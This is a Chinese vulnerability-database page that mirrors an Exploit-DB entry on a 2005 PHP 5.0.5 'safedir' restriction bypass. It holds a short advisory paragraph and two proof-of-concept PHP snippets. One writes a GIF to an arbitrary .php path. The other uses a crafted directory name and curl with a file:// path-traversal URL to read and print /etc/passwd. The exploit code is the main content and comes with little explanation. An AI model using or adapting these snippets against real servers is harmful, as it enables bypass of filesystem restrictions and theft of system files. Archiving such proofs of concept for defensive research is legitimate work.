PHP 5.0.5 – Safedir Restriction Bypass

PHP 5.0.5 – Safedir Restriction Bypass

漏洞ID 1055411 漏洞类型
发布时间 2005-10-17 更新时间 2005-10-17
图片[1]-PHP 5.0.5 – Safedir Restriction Bypass-安全小百科CVE编号 N/A
图片[2]-PHP 5.0.5 – Safedir Restriction Bypass-安全小百科CNNVD-ID N/A
漏洞平台 PHP CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/26352
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/15119/info

PHP is prone to multiple vulnerabilities that permit an attacker to bypass the 'safedir' directory restriction.

An attacker can exploit these vulnerabilities to possible execute arbitrary code currently existing on a vulnerable system, or to retrieve the contents of arbitrary files, all in the security context of the Web server process.

Information obtained may aid in further attacks against the affected system; other attacks are also possible.

These issues have been addressed in the latest CVS version. 

<?php
$im = imagecreatefromgif("file.gif");
imagegif($im, '/var/www/f34r.fr/c/f/elbossoso/.i.need.money.php');
?>

<?php

mkdir("./".$_SERVER["SCRIPT_NAME"]."?");
$ch = curl_init("file://".$_SERVER["SCRIPT_FILENAME"]."?/../../../../../../../../../../../etc/passwd ");

$file=curl_exec($ch);

echo $file;

?>

相关推荐: HP CIFS 9000 Arbitrary Password Changing Vulnerability

HP CIFS 9000 Arbitrary Password Changing Vulnerability 漏洞ID 1102944 漏洞类型 Environment Error 发布时间 2001-08-29 更新时间 2001-08-29 CVE编号 N…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享